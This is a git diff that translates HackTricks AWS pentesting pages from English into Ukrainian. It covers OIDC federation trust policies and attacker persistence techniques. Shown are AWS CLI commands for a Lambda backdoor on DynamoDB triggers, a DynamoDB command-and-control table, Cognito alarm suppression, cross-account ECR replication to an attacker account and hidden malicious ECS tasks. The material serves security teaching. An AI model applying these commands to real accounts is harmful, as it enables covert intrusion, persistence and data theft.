+Якщо ви шукаєте щось **схоже** на це, але для **браузера**, ви можете перевірити **розширення** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en). -If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en). - -## References +## Посилання - [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html) - [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/) - [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md index 73ae6b448..a7ee4fcac 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -4,84 +4,81 @@ ## SAML -For info about SAML please check: +Для отримання інформації про SAML, будь ласка, перевірте: {{#ref}} https://book.hacktricks.xyz/pentesting-web/saml-attacks {{#endref}} -In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key) +Щоб налаштувати **Ідентифікаційну Федерацію через SAML**, вам потрібно лише надати **ім'я** та **метадані XML**, що містять усю конфігурацію SAML (**кінцеві точки**, **сертифікат** з публічним ключем) ## OIDC - Github Actions Abuse -In order to add a github action as Identity provider: - -1. For _Provider type_, select **OpenID Connect**. -2. For _Provider URL_, enter `https://token.actions.githubusercontent.com` -3. Click on _Get thumbprint_ to get the thumbprint of the provider -4. For _Audience_, enter `sts.amazonaws.com` -5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like: - - ```json - { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "token.actions.githubusercontent.com:sub": [ - "repo:ORG_OR_USER_NAME/REPOSITORY:pull_request", - "repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main" - ], - "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" - } - } - } - ] - } - ``` -6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**. -7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**. -8. Finally use a github action to configure the AWS creds to be used by the workflow: +Щоб додати github action як постачальника ідентифікації: +1. Для _Типу постачальника_ виберіть **OpenID Connect**. +2. Для _URL постачальника_ введіть `https://token.actions.githubusercontent.com` +3. Натисніть _Отримати відбиток_ для отримання відбитка постачальника +4. Для _Аудиторії_ введіть `sts.amazonaws.com` +5. Створіть **нову роль** з **дозволами**, які потрібні github action, та **політикою довіри**, яка довіряє постачальнику, як: +- ```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"token.actions.githubusercontent.com:sub": [ +"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request", +"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main" +], +"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" +} +} +} +] +} +``` +6. Зверніть увагу в попередній політиці, як лише **гілка** з **репозиторію** **організації** була авторизована з конкретним **тригером**. +7. **ARN** **ролі**, яку github action зможе **використовувати**, буде "секретом", який github action потрібно знати, тому **зберігайте** його в **секреті** всередині **середовища**. +8. Нарешті, використовуйте github action для налаштування AWS облікових даних, які будуть використовуватися робочим процесом: ```yaml name: "test AWS Access" # The workflow should only trigger on pull requests to the main branch on: - pull_request: - branches: - - main +pull_request: +branches: +- main # Required to get the ID Token that will be used for OIDC permissions: - id-token: write - contents: read # needed for private repos to checkout +id-token: write +contents: read # needed for private repos to checkout jobs: - aws: - runs-on: ubuntu-latest - steps: - - name: Checkout - uses: actions/checkout@v3 +aws: +runs-on: ubuntu-latest +steps: +- name: Checkout +uses: actions/checkout@v3 - - name: Configure AWS Credentials - uses: aws-actions/configure-aws-credentials@v1 - with: - aws-region: eu-west-1 - role-to-assume:${{ secrets.READ_ROLE }} - role-session-name: OIDCSession +- name: Configure AWS Credentials +uses: aws-actions/configure-aws-credentials@v1 +with: +aws-region: eu-west-1 +role-to-assume:${{ secrets.READ_ROLE }} +role-session-name: OIDCSession - - run: aws sts get-caller-identity - shell: bash +- run: aws sts get-caller-identity +shell: bash ``` - -## OIDC - EKS Abuse - +## OIDC - Зловживання EKS ```bash # Crate an EKS cluster (~10min) eksctl create cluster --name demo --fargate @@ -91,43 +88,34 @@ eksctl create cluster --name demo --fargate # Create an Identity Provider for an EKS cluster eksctl utils associate-iam-oidc-provider --cluster Testing --approve ``` - -It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy: - +Можливо створити **OIDC providers** у кластері **EKS**, просто встановивши **OIDC URL** кластера як **нового постачальника ідентичності Open ID**. Це звичайна стандартна політика: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com" +} +} +} +] } ``` +Ця політика правильно вказує, що **тільки** **EKS кластер** з **id** `20C159CDF6F2349B68846BEC03BE031B` може приймати роль. Однак, вона не вказує, який обліковий запис служби може її приймати, що означає, що **будь-який обліковий запис служби з веб-ідентифікаційним токеном** зможе **приймати** роль. -This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role. - -In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as: - +Щоб вказати, **який обліковий запис служби повинен мати можливість приймати роль,** потрібно вказати **умову**, де **вказується ім'я облікового запису служби**, наприклад: ```bash "oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account", ``` - -## References +## Посилання - [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md index 28868b9f1..b947e1564 100644 --- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md @@ -2,20 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} -These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools: +Це дозволи, які вам потрібні на кожному обліковому записі AWS, який ви хочете перевірити, щоб мати можливість запускати всі запропоновані інструменти аудиту AWS: -- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess) -- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions: - - **access-analyzer:List\*** - - **access-analyzer:Get\*** - - **iam:CreateServiceLinkedRole** - - **access-analyzer:CreateAnalyzer** - - Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission) - - **access-analyzer:DeleteAnalyzer** - - Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission) +- Політика за замовчуванням **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess) +- Щоб запустити [aws_iam_review](https://github.com/carlospolop/aws_iam_review), вам також потрібні дозволи: +- **access-analyzer:List\*** +- **access-analyzer:Get\*** +- **iam:CreateServiceLinkedRole** +- **access-analyzer:CreateAnalyzer** +- Додатково, якщо клієнт генерує аналізатори для вас, але зазвичай простіше просто попросити цей дозвіл) +- **access-analyzer:DeleteAnalyzer** +- Додатково, якщо клієнт видаляє аналізатори для вас, але зазвичай простіше просто попросити цей дозвіл) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/README.md index f3b45c4d3..e7c1268bf 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/README.md @@ -1,6 +1 @@ -# AWS - Persistence - - - - - +# AWS - Постійність diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md index 6d2b0ec35..0aa022027 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md @@ -4,7 +4,7 @@ ## API Gateway -For more information go to: +Для отримання додаткової інформації перейдіть за посиланням: {{#ref}} ../aws-services/aws-api-gateway-enum.md @@ -12,25 +12,21 @@ For more information go to: ### Resource Policy -Modify the resource policy of the API gateway(s) to grant yourself access to them +Змініть політику ресурсів API gateway(ів), щоб надати собі доступ до них. ### Modify Lambda Authorizers -Modify the code of lambda authorizers to grant yourself access to all the endpoints.\ -Or just remove the use of the authorizer. +Змініть код авторизаторів lambda, щоб надати собі доступ до всіх кінцевих точок.\ +Або просто видаліть використання авторизатора. ### IAM Permissions -If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\ -Or just remove the use of the authorizer. +Якщо ресурс використовує авторизатор IAM, ви можете надати собі доступ до нього, змінивши дозволи IAM.\ +Або просто видаліть використання авторизатора. ### API Keys -If API keys are used, you could leak them to maintain persistence or even create new ones.\ -Or just remove the use of API keys. +Якщо використовуються API ключі, ви можете їх витікати, щоб підтримувати постійний доступ або навіть створити нові.\ +Або просто видаліть використання API ключів. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md index e2e037e53..307995d0b 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md @@ -4,7 +4,7 @@ ## Cognito -For more information, access: +Для отримання додаткової інформації, зверніться до: {{#ref}} ../aws-services/aws-cognito-enum/ @@ -12,16 +12,16 @@ For more information, access: ### User persistence -Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like: +Cognito - це сервіс, який дозволяє надавати ролі неавтентифікованим та автентифікованим користувачам і контролювати каталог користувачів. Кілька різних конфігурацій можуть бути змінені для підтримки певної стійкості, такі як: -- **Adding a User Pool** controlled by the user to an Identity Pool -- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow** - - Or to an **authenticated Identity Pool** if the attacker can login - - Or **improve the permissions** of the given roles -- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool** -- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool +- **Додавання User Pool**, контрольованого користувачем, до Identity Pool +- Надання **IAM ролі неавтентифікованому Identity Pool і дозволити Basic auth flow** +- Або для **автентифікованого Identity Pool**, якщо зловмисник може увійти +- Або **покращення дозволів** наданих ролей +- **Створення, перевірка та privesc** через атрибути контрольованих користувачів або нових користувачів у **User Pool** +- **Дозволити зовнішнім постачальникам ідентичності** увійти в User Pool або в Identity Pool -Check how to do these actions in +Перевірте, як виконати ці дії в {{#ref}} ../aws-privilege-escalation/aws-cognito-privesc.md @@ -29,18 +29,12 @@ Check how to do these actions in ### `cognito-idp:SetRiskConfiguration` -An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options: - +Зловмисник з цим привілеєм міг би змінити конфігурацію ризику, щоб мати можливість увійти як користувач Cognito **без спрацьовування тривог**. [**Перевірте cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) для перевірки всіх опцій: ```bash aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} ``` - -By default this is disabled: +За замовчуванням це вимкнено:
{{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md index 75a824e73..cd128e581 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md @@ -4,64 +4,56 @@ ### DynamoDB -For more information access: +Для отримання додаткової інформації зверніться до: {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} -### DynamoDB Triggers with Lambda Backdoor - -Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account. +### Тригери DynamoDB з бекдором Lambda +Використовуючи тригери DynamoDB, зловмисник може створити **прихований бекдор**, асоціювавши шкідливу функцію Lambda з таблицею. Функція Lambda може бути активована, коли елемент додається, змінюється або видаляється, що дозволяє зловмиснику виконувати довільний код у обліковому записі AWS. ```bash # Create a malicious Lambda function aws lambda create-function \ - --function-name MaliciousFunction \ - --runtime nodejs14.x \ - --role \ - --handler index.handler \ - --zip-file fileb://malicious_function.zip \ - --region +--function-name MaliciousFunction \ +--runtime nodejs14.x \ +--role \ +--handler index.handler \ +--zip-file fileb://malicious_function.zip \ +--region # Associate the Lambda function with the DynamoDB table as a trigger aws dynamodbstreams describe-stream \ - --table-name TargetTable \ - --region +--table-name TargetTable \ +--region # Note the "StreamArn" from the output aws lambda create-event-source-mapping \ - --function-name MaliciousFunction \ - --event-source \ - --region +--function-name MaliciousFunction \ +--event-source \ +--region ``` +Щоб підтримувати стійкість, зловмисник може створювати або змінювати елементи в таблиці DynamoDB, що викликатиме шкідливу функцію Lambda. Це дозволяє зловмиснику виконувати код в обліковому записі AWS без прямої взаємодії з функцією Lambda. -To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function. - -### DynamoDB as a C2 Channel - -An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands. +### DynamoDB як C2 канал +Зловмисник може використовувати таблицю DynamoDB як **канал команд і контролю (C2)**, створюючи елементи, що містять команди, і використовуючи скомпрометовані екземпляри або функції Lambda для отримання та виконання цих команд. ```bash # Create a DynamoDB table for C2 aws dynamodb create-table \ - --table-name C2Table \ - --attribute-definitions AttributeName=CommandId,AttributeType=S \ - --key-schema AttributeName=CommandId,KeyType=HASH \ - --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ - --region +--table-name C2Table \ +--attribute-definitions AttributeName=CommandId,AttributeType=S \ +--key-schema AttributeName=CommandId,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--region # Insert a command into the table aws dynamodb put-item \ - --table-name C2Table \ - --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ - --region +--table-name C2Table \ +--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ +--region ``` - -The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources. +Скомпрометовані екземпляри або функції Lambda можуть періодично перевіряти таблицю C2 на наявність нових команд, виконувати їх і, за бажанням, повідомляти результати назад у таблицю. Це дозволяє зловмиснику підтримувати стійкість і контроль над скомпрометованими ресурсами. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md index b52ac9e85..fb224713e 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md @@ -4,55 +4,51 @@ ## EC2 -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### Security Group Connection Tracking Persistence +### Відстеження з'єднань групи безпеки -If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic. +Якщо захисник виявить, що **EC2 екземпляр був скомпрометований**, він, ймовірно, спробує **ізолювати** **мережу** машини. Він може зробити це за допомогою явного **Deny NACL** (але NACL впливають на всю підмережу), або **змінивши групу безпеки**, не дозволяючи **жодного виду вхідного або вихідного** трафіку. -If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** +Якщо зловмисник мав **реверс-шелл, що походить з машини**, навіть якщо SG змінено, щоб не дозволяти вхідний або вихідний трафік, **з'єднання не буде розірвано через** [**Відстеження з'єднань групи безпеки**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** ### EC2 Lifecycle Manager -This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\ -An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**. +Ця служба дозволяє **планувати** **створення AMI та знімків** і навіть **ділитися ними з іншими обліковими записами**.\ +Зловмисник може налаштувати **генерацію AMI або знімків** всіх образів або всіх томів **кожного тижня** і **ділитися ними зі своїм обліковим записом**. -### Scheduled Instances +### Заплановані екземпляри -It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access. +Можна запланувати екземпляри для запуску щодня, щотижня або навіть щомісяця. Зловмисник може запустити машину з високими привілеями або цікавим доступом, де він міг би отримати доступ. -### Spot Fleet Request +### Запит на флот Spot -Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**. +Spot-екземпляри є **дешевшими** ніж звичайні екземпляри. Зловмисник може запустити **маленький запит на флот Spot на 5 років** (наприклад), з **автоматичним призначенням IP** і **даними користувача**, які надсилають зловмиснику **коли Spot-екземпляр запускається** та **IP-адресу** з **високопривілейованою IAM роллю**. -### Backdoor Instances +### Екземпляри з бекдором -An attacker could get access to the instances and backdoor them: +Зловмисник може отримати доступ до екземплярів і встановити бекдор: -- Using a traditional **rootkit** for example -- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md)) -- Backdooring the **User Data** +- Використовуючи традиційний **rootkit**, наприклад +- Додаючи новий **публічний SSH ключ** (перевірте [опції підвищення привілеїв EC2](../aws-privilege-escalation/aws-ec2-privesc.md)) +- Встановлюючи бекдор у **дані користувача** -### **Backdoor Launch Configuration** +### **Конфігурація запуску з бекдором** -- Backdoor the used AMI -- Backdoor the User Data -- Backdoor the Key Pair +- Бекдор використаного AMI +- Бекдор даних користувача +- Бекдор ключової пари ### VPN -Create a VPN so the attacker will be able to connect directly through i to the VPC. +Створіть VPN, щоб зловмисник міг підключитися безпосередньо через нього до VPC. ### VPC Peering -Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC. +Створіть з'єднання пірінгу між VPC жертви та VPC зловмисника, щоб він міг отримати доступ до VPC жертви. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md index 07928fbd4..6d2bf43a0 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md @@ -4,98 +4,88 @@ ## ECR -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-ecr-enum.md {{#endref}} -### Hidden Docker Image with Malicious Code +### Схована Docker-образ з шкідливим кодом -An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner. +Зловмисник може **завантажити Docker-образ, що містить шкідливий код** до репозиторію ECR і використовувати його для підтримки стійкості в цільовому обліковому записі AWS. Потім зловмисник може розгорнути шкідливий образ на різних службах в обліковому записі, таких як Amazon ECS або EKS, непомітно. -### Repository Policy - -Add a policy to a single repository granting yourself (or everybody) access to a repository: +### Політика репозиторію +Додайте політику до одного репозиторію, надаючи собі (або всім) доступ до репозиторію: ```bash aws ecr set-repository-policy \ - --repository-name cluster-autoscaler \ - --policy-text file:///tmp/my-policy.json +--repository-name cluster-autoscaler \ +--policy-text file:///tmp/my-policy.json # With a .json such as { - "Version" : "2008-10-17", - "Statement" : [ - { - "Sid" : "allow public pull", - "Effect" : "Allow", - "Principal" : "*", - "Action" : [ - "ecr:BatchCheckLayerAvailability", - "ecr:BatchGetImage", - "ecr:GetDownloadUrlForLayer" - ] - } - ] +"Version" : "2008-10-17", +"Statement" : [ +{ +"Sid" : "allow public pull", +"Effect" : "Allow", +"Principal" : "*", +"Action" : [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] } ``` - > [!WARNING] -> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository. +> Зверніть увагу, що ECR вимагає, щоб користувачі мали **дозвіл** на виклики до **`ecr:GetAuthorizationToken`** API через IAM політику **перед тим, як вони зможуть аутентифікуватися** в реєстрі та завантажувати або витягувати будь-які зображення з будь-якого репозиторію Amazon ECR. -### Registry Policy & Cross-account Replication +### Політика реєстру та крос-акаунтне реплікація -It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry. +Можливо автоматично реплікувати реєстр в зовнішньому акаунті, налаштувавши крос-акаунтну реплікацію, де вам потрібно **вказати зовнішній акаунт**, в якому ви хочете реплікувати реєстр.
-First, you need to give the external account access over the registry with a **registry policy** like: - +Спочатку вам потрібно надати зовнішньому акаунту доступ до реєстру за допомогою **політики реєстру** на зразок: ```bash aws ecr put-registry-policy --policy-text file://my-policy.json # With a .json like: { - "Sid": "asdasd", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::947247140022:root" - }, - "Action": [ - "ecr:CreateRepository", - "ecr:ReplicateImage" - ], - "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" +"Sid": "asdasd", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::947247140022:root" +}, +"Action": [ +"ecr:CreateRepository", +"ecr:ReplicateImage" +], +"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" } ``` - -Then apply the replication config: - +Тоді застосуйте конфігурацію реплікації: ```bash aws ecr put-replication-configuration \ - --replication-configuration file://replication-settings.json \ - --region us-west-2 +--replication-configuration file://replication-settings.json \ +--region us-west-2 # Having the .json a content such as: { - "rules": [{ - "destinations": [{ - "region": "destination_region", - "registryId": "destination_accountId" - }], - "repositoryFilters": [{ - "filter": "repository_prefix_name", - "filterType": "PREFIX_MATCH" - }] - }] +"rules": [{ +"destinations": [{ +"region": "destination_region", +"registryId": "destination_accountId" +}], +"repositoryFilters": [{ +"filter": "repository_prefix_name", +"filterType": "PREFIX_MATCH" +}] +}] } ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md index 988626c8f..559721423 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md @@ -4,29 +4,28 @@ ## ECS -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}} -### Hidden Periodic ECS Task +### Схована періодична ECS задача > [!NOTE] > TODO: Test -An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account. - +Зловмисник може створити сховану періодичну ECS задачу, використовуючи Amazon EventBridge, щоб **планувати виконання шкідливої задачі періодично**. Ця задача може виконувати розвідку, ексфільтрувати дані або підтримувати стійкість у обліковому записі AWS. ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ - { - "name": "malicious-container", - "image": "malicious-image:latest", - "memory": 256, - "cpu": 10, - "essential": true - } +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} ]' # Create an Amazon EventBridge rule to trigger the task periodically @@ -34,70 +33,61 @@ aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate # Add a target to the rule to run the malicious ECS task aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ - { - "Id": "malicious-ecs-task-target", - "Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", - "RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", - "EcsParameters": { - "TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", - "TaskCount": 1 - } - } +{ +"Id": "malicious-ecs-task-target", +"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", +"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", +"EcsParameters": { +"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", +"TaskCount": 1 +} +} ]' ``` - ### Backdoor Container in Existing ECS Task Definition > [!NOTE] > TODO: Test -An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities. - +Зловмисник може додати **прихований бекдор-контейнер** в існуюче визначення завдання ECS, який працює поряд з легітимними контейнерами. Бекдор-контейнер може використовуватися для збереження доступу та виконання шкідливих дій. ```bash # Update the existing task definition to include the backdoor container aws ecs register-task-definition --family "existing-task" --container-definitions '[ - { - "name": "legitimate-container", - "image": "legitimate-image:latest", - "memory": 256, - "cpu": 10, - "essential": true - }, - { - "name": "backdoor-container", - "image": "malicious-image:latest", - "memory": 256, - "cpu": 10, - "essential": false - } +{ +"name": "legitimate-container", +"image": "legitimate-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +}, +{ +"name": "backdoor-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": false +} ]' ``` - ### Undocumented ECS Service > [!NOTE] > TODO: Test -An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service. - +Зловмисник може створити **недокументований ECS сервіс**, який виконує шкідливе завдання. Встановивши бажану кількість завдань на мінімум і вимкнувши ведення журналів, адміністраторам стає важче помітити шкідливий сервіс. ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ - { - "name": "malicious-container", - "image": "malicious-image:latest", - "memory": 256, - "cpu": 10, - "essential": true - } +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} ]' # Create an undocumented ECS service with the malicious task definition aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md index bdb282d41..79d8207b5 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ 